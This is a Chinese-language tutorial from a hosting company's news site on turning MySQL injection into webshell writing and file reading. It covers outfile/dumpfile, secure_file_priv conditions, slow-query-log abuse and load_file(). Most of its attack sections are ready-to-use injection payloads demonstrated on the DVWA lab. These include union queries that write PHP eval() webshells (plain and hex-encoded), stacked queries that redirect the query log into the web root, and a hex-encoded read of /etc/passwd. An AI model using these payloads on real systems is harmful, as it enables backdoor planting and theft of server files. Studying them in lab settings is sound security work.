溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Mysql注入如何寫Shell讀文件

發(fā)布時間:2021-12-01 16:32:08 來源:億速云 閱讀:276 作者:小新 欄目:網(wǎng)絡管理

小編給大家分享一下Mysql注入如何寫Shell讀文件,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!

一、導出函數(shù)寫shell

利用Mysql的導出函數(shù)直接寫一個可訪問的webshell

1.1 條件

1.網(wǎng)站可訪問路徑的絕對路徑

報錯
輸入異常值讓腳本主動報錯,或googlehacking目標的腳本報錯信息
Mysql注入如何寫Shell讀文件

phpinfo
掃目錄找phpinfo
Mysql注入如何寫Shell讀文件

推測
目標可能使用集成安裝包,如phpstudy

C:\phpStudy\WWW\C:\phpStudy\WWW\域名\

枚舉
高頻絕對路徑

讀配置文件
中間件,web的配置文件

2.secure_file_priv 的值非NULL或包含了導出的絕對路徑
secure_file_priv的值在mysql配置文件my.ini中設置,這個參數(shù)用來限制數(shù)據(jù)導入導出
Mysql>=5.5.53 默認為NULL,即默認禁止導入導出
Mysql<5.5.53 默認為空,即默認無限制

secure_file_priv值為NULL = 禁止導入導出
Mysql注入如何寫Shell讀文件

secure_file_priv值無具體值/為空 = 無限制
Mysql注入如何寫Shell讀文件

secure_file_priv值為某目錄 = 僅允許在該目錄下導入導出
Mysql注入如何寫Shell讀文件

查看secure_file_priv值的方法
show global variables like '%secure%';
Mysql注入如何寫Shell讀文件

 3.mysql服務有對網(wǎng)站可訪問路徑的寫權限

 4.mysql連接用戶有FILE權限/ROOT用戶或ROOT權限
Mysql注入如何寫Shell讀文件

select user,file_priv from mysql.user;

Mysql注入如何寫Shell讀文件

 5.GPC關閉//未對閉合用的引號轉義
outfile 和 dumpfile的路徑不支持hex,必須有引號包裹

1.2 導出函數(shù):outfile 和 dumpfile

outfile

select '<?php phpinfo(); ?>' into outfile "C:\\\\phpStudy\\MySQL\\bin\\1.php";

select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';


需要注意的點:

a.outfile 可導出多行,并會在每?的結束加上換?符
如果test表中的內容有多行
Mysql注入如何寫Shell讀文件
導出效果
Mysql注入如何寫Shell讀文件

b.outfile 將數(shù)據(jù)寫到文件里時有特殊的格式轉換

a\naa\raaaa

寫入時

\n

被轉義,并且文件末尾加了一個新行
Mysql注入如何寫Shell讀文件
導致寫shell時要注意特殊字符

c.outfile 的路徑不能是0x開頭或者char轉換以后的路徑,只能是引號包裹的路徑
導致寫shell時無法通過hex編碼或char()來bypass引號轉義等

d.文件不能覆蓋寫入,所以寫入文件必須為不存在

dumpfile

select '<?php phpinfo(); ?>' into dumpfile "C:\\phpStudy\\MySQL\\bin\\1.php";

select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';


需要注意的點:

a.dumpfile 只能導出一行
Mysql注入如何寫Shell讀文件

b.dumpfile 在寫?件時會保持?件的原?內容/原數(shù)據(jù)格式,適合寫二進制文件,如exe文件,udf提權的dll文件
Mysql注入如何寫Shell讀文件

c.dumpfile 的路徑不能是0x開頭或者char轉換以后的路徑

d.文件不能覆蓋寫入,所以寫入文件必須為不存在

補充:利用導出函數(shù)的補充參數(shù)寫shell
Mysql注入如何寫Shell讀文件

select * from student into outfile "C:/phpStudy/MySQL/bin/test.php" LINES STARTING BY '<?php @eval($_POST[pass]);?>';


Mysql注入如何寫Shell讀文件

FIELDS TERMINATED BY ','    = 字段值之間以,分割
OPTIONALLY ENCLOSED BY '"'    = 字段值以"包裹
LINES TERMINATED BY '\n'    = 設置每?數(shù)據(jù)結尾的字符為換行符

某些情況,如select只有一個數(shù)字型字段,聯(lián)合查詢無法寫shell或注入點在limit等不能union的語句之后

1.3 寫shell演示

dvwa-low-sqli

1.一句話 outfile 直接寫

  • 直接寫
    -1' union select 1,"<?php @eval($_POST['c']);?>" into outfile "C:/phpStudy/WWW/shell.php"#

  • shell HEX編碼
    id=-1' union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E into outfile "C:/phpStudy/WWW/shell.php"#

寫入成功,連接測試成功
Mysql注入如何寫Shell讀文件

2.一句話 插入數(shù)據(jù)庫再outfile

因為dvwa-low-sqli使用的是 mysqli_query() ,一次執(zhí)行一條sql語句,無法堆疊,修改成 mysqli_multi_query 演示

id=-1';insert into dvwa.guestbook values (2,"<?php @eval($_POST['c']);?>","shell") ;#


Mysql注入如何寫Shell讀文件

id=-1' union select comment,name from dvwa.guestbook into outfile 'C:/phpStudy/WWW/shell.php';#


寫入成功,連接測試成功
Mysql注入如何寫Shell讀文件

二、日志寫shell

將日志改為腳本文件,將shell記錄進日志來寫shell

2.1 條件

與導出函數(shù)寫Shell相比,規(guī)避了 secure_file_priv 的限制

1.網(wǎng)站可訪問路徑的絕對路徑

2.mysql服務有對網(wǎng)站可訪問路徑的寫權限

3.mysql連接用戶有權限開啟日志記錄和更換日志路徑/ROOT權限

4.GPC關閉/未對閉合用的引號轉義
雖然日志路徑可以hex編碼,但被記入日志的查詢語句中的shell內容需要引號包裹,加

\

后傳到數(shù)據(jù)庫執(zhí)行會報錯,無法記錄進日志

2.2 mysql日志

mysql日志主要包含:錯誤日志、查詢日志、慢查詢日志、事務日志、二進制日志
mysql日志詳解:https://blog.csdn.net/maguang_it/article/details/79922339
只有查詢日志和慢查詢日志可利用,演示用的是慢查詢日志,所以這里主要講下慢查詢日志

慢查詢日志
慢查詢日志是用來記錄執(zhí)行時間超過指定時間的查詢語句。
查看日志情況:

SHOW  GLOBAL VARIABLES LIKE '%log%';


Mysql注入如何寫Shell讀文件slow_query_log :表示慢查詢日志是否開啟,ON表示開啟,OFF表示未開啟,默認OFF
slow_query_log_file :表示慢查詢日志文件的路徑
查看超過多少時間會被記錄慢查詢日志(默認10s):

SHOW  GLOBAL VARIABLES LIKE 'long%';


Mysql注入如何寫Shell讀文件其中,日志文件可以改路徑也可以改文件后綴,這意味著可以將其改成網(wǎng)站目錄下的php腳本文件,再通過慢查詢將shell寫入,最后成為webshell
開啟慢查詢日志:

set global slow_query_log = 1;


更改日志路徑:

set global slow_query_log_file='C:/phpStudy/WWW/logshell.php';

補充:日志路徑可以hex編碼

Mysql注入如何寫Shell讀文件

Mysql注入如何寫Shell讀文件完成時間大于10s的sql語句會被記錄進慢查詢日志,如:select * from users where sleep(11);
Mysql注入如何寫Shell讀文件

其他日志
錯誤日志變量

log_error

只讀,只能通過修改mysql配置文件改路徑,不能利用
事務日志、二進制日志和錯誤日志一樣,只能通過修改mysql配置文件改路徑,不能利用

2.3 演示

dvwa-low-sqli,修改mysqli_query() 為 mysqli_multi_query 演示

1.開啟慢查詢日志并修改日志為網(wǎng)站路徑下的腳本

-1';set global slow_query_log = 1;set global slow_query_log_file='C:/phpStudy/WWW/logshell.php';#


Mysql注入如何寫Shell讀文件

2.執(zhí)行包含Shell的查詢語句并使用sleep(11)讓語句記錄進慢查詢日志腳本

-1';select "<?php eval($_POST[log]);?>" from users where sleep(11);#


Mysql注入如何寫Shell讀文件

3.連接成功
Mysql注入如何寫Shell讀文件

三、讀文件函數(shù)讀文件

3.1 條件

1.所讀文件的絕對路徑

2.secure_file_priv 的值非NULL或包含了所讀文件的絕對路徑

3.mysql服務有對所讀文件的讀權限

4.mysql連接用戶有FILE權限/ROOT用戶或ROOT權限

3.2 讀文件函數(shù):load_file()

load_file()

select load_file('絕對路徑');


與outfile/dumpfile不同的是,load_file的路徑可被hex編碼

select load_file(0x2F6574632F706173737764);

3.3 演示

dvwa-low-sqli
load_file() Mysql注入如何寫Shell讀文件

-1'union select 1,load_file('C:/phpStudy/WWW/readme.txt');#


Mysql注入如何寫Shell讀文件

Mysql注入如何寫Shell讀文件

Mysql注入如何寫Shell讀文件

看完了這篇文章,相信你對“Mysql注入如何寫Shell讀文件”有了一定的了解,如果想了解更多相關知識,歡迎關注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經查實,將立刻刪除涉嫌侵權內容。

AI